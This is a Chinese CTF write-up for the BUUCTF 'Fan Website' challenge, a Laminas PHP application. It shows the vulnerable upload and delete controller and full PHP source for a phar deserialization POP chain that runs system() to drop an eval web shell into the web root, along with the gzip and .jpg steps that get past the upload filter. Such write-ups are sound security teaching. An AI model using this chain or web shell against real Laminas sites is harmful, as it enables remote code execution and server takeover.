[BUUCTF题解][HMGCTF2022]Fan Website
### 写在前面
太菜了,做题的各个环节都有蒙蔽的地方(一开始连Zend和Laminas的关系都分不清,以为是完全不想管的两个框架X_X),基本上是靠其他师傅的WP救活的。
参考的链接如下:
知识点
- phar伪协议
- 反序列化链
过程
做题先搜集(扫目录+检查HTTP报文+查看初始页面HTML代码),存在www.zip,下载得到了源码。

官方教程:tutorials - Laminas Docs,依照理解可以找到该项目新创建的应用为./module/Album。
其中配置文件为./module/Album/config/module.config.php,里面配置了路由映射和控制器等信息。
<?php
namespace Album;
use Laminas\Router\Http\Segment;
use Laminas\ServiceManager\Factory\InvokableFactory;
return [
/*
'controllers' => [
'factories' => [
Controller\AlbumController::class => InvokableFactory::class,
],
],*/
// 下面行为新添加的,请更新您的文件
'router' => [
'routes' => [
'album' => [
'type' => Segment::class,
'options' => [
'route' => '/album[/:action[/:id]]',
'constraints' => [
'action' => '[a-zA-Z][a-zA-Z0-9_-]*',
'id' => '[0-9]+',
],
'defaults' => [
'controller' => Controller\AlbumController::class,
'action' => 'index',
],
],
],
],
],
'view_manager' => [
'template_path_stack' => [
'album' => __DIR__ . '/../view',
],
],
];
控制器文件为./module/Album/src/Controller/AlbumController.php。
<?php
namespace Album\Controller;
use Album\Model\AlbumTable;
use Laminas\Mvc\Controller\AbstractActionController;
use Laminas\View\Model\ViewModel;
use Album\Form\AlbumForm;
use Album\Form\UploadForm;
use Album\Model\Album;
class AlbumController extends AbstractActionController
{
// Add this property:
private $table;
private $white_list;
public function __construct(AlbumTable $table){
$this->table = $table;
$this->white_list = array('.jpg','.jpeg','.png');
}
public function indexAction()
{
return new ViewModel([
'albums' => $this->table->fetchAll(),
]);
}
public function addAction()
{
$form = new AlbumForm();
$form->get('submit')->setValue('Add');
$request = $this->getRequest();
if (! $request->isPost()) {
return ['form' => $form];
}
$album = new Album();
$form->setInputFilter($album->getInputFilter());
$form->setData($request->getPost());
if (! $form->isValid()) {
return ['form' => $form];
}
$album->exchangeArray($form->getData());
$this->table->saveAlbum($album);
return $this->redirect()->toRoute('album');
}
public function editAction()
{
$id = (int) $this->params()->fromRoute('id', 0);
if (0 === $id) {
return $this->redirect()->toRoute('album', ['action' => 'add']);
}
// Retrieve the album with the specified id. Doing so raises
// an exception if the album is not found, which should result
// in redirecting to the landing page.
try {
$album = $this->table->getAlbum($id);
} catch (\Exception $e) {
return $this->redirect()->toRoute('album', ['action' => 'index']);
}
$form = new AlbumForm();
$form->bind($album);
$form->get('submit')->setAttribute('value', 'Edit');
$request = $this->getRequest();
$viewData = ['id' => $id, 'form' => $form];
if (! $request->isPost()) {
return $viewData;
}
$form->setInputFilter($album->getInputFilter());
$form->setData($request->getPost());
if (! $form->isValid()) {
return $viewData;
}
$this->table->saveAlbum($album);
// Redirect to album list
return $this->redirect()->toRoute('album', ['action' => 'index']);
}
public function deleteAction()
{
$id = (int) $this->params()->fromRoute('id', 0);
if (!$id) {
return $this->redirect()->toRoute('album');
}
$request = $this->getRequest();
if ($request->isPost()) {
$del = $request->getPost('del', 'No');
if ($del == 'Yes') {
$id = (int) $request->getPost('id');
$this->table->deleteAlbum($id);
}
// Redirect to list of albums
return $this->redirect()->toRoute('album');
}
return [
'id' => $id,
'album' => $this->table->getAlbum($id),
];
}
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}
public function imguploadAction()
{
$form = new UploadForm('upload-form');
$request = $this->getRequest();
if ($request->isPost()) {
// Make certain to merge the $_FILES info!
$post = array_merge_recursive(
$request->getPost()->toArray(),
$request->getFiles()->toArray()
);
$form->setData($post);
if ($form->isValid()) {
$data = $form->getData();
$base = substr($data["image-file"]["name"],-4,4);
if(in_array($base,$this->white_list)){ //白名单限制
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
echo $img_path;
$form->saveImg($data["image-file"]["tmp_name"],$img_path);
}else{
echo 'Only Img Can Be Uploaded!';
}
// Form is valid, save the form!
//return $this->redirect()->toRoute('upload-form/success');
}
}
return ['form' => $form];
}
}
可以注意到其中的imguploadAction和imgdeleteAction存在明显利用提示。


不难猜出可能需要phar伪协议去触发POP链,那么利用需要解决两个主要问题:找出一条POP链和绕过此处正则检测。
POP链可以参考:https://xz.aliyun.com/t/8975
绕过正则可以参考:【技术分享】2021蓝帽杯决赛Web wp - 网安 (wangan.com)

构造出生成phar文件的PHP源码为:
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{}
class Mail extends AbstractWriter{
protected $eventsToMail = ["echo '<?php eval(\$_POST[1]);?>' > /var/www/public/cd.php"]; // cmd cmd cmd
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
$phar = new Phar("shell.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");
$phar->setMetadata($a); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a", str_repeat('123',1000000)); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();}
?>
将生成的phar文件添加足够数据保证压缩后大于3KB,然后再通过gzip压缩并更名为test.jpg并上传。

接着去删除页面通过phar伪协议删除来触发反序列化。

然后就能去连蚁剑了(站点以项目下public文件为根目录)。

flag在根目录下。


浙公网安备 33010602011771号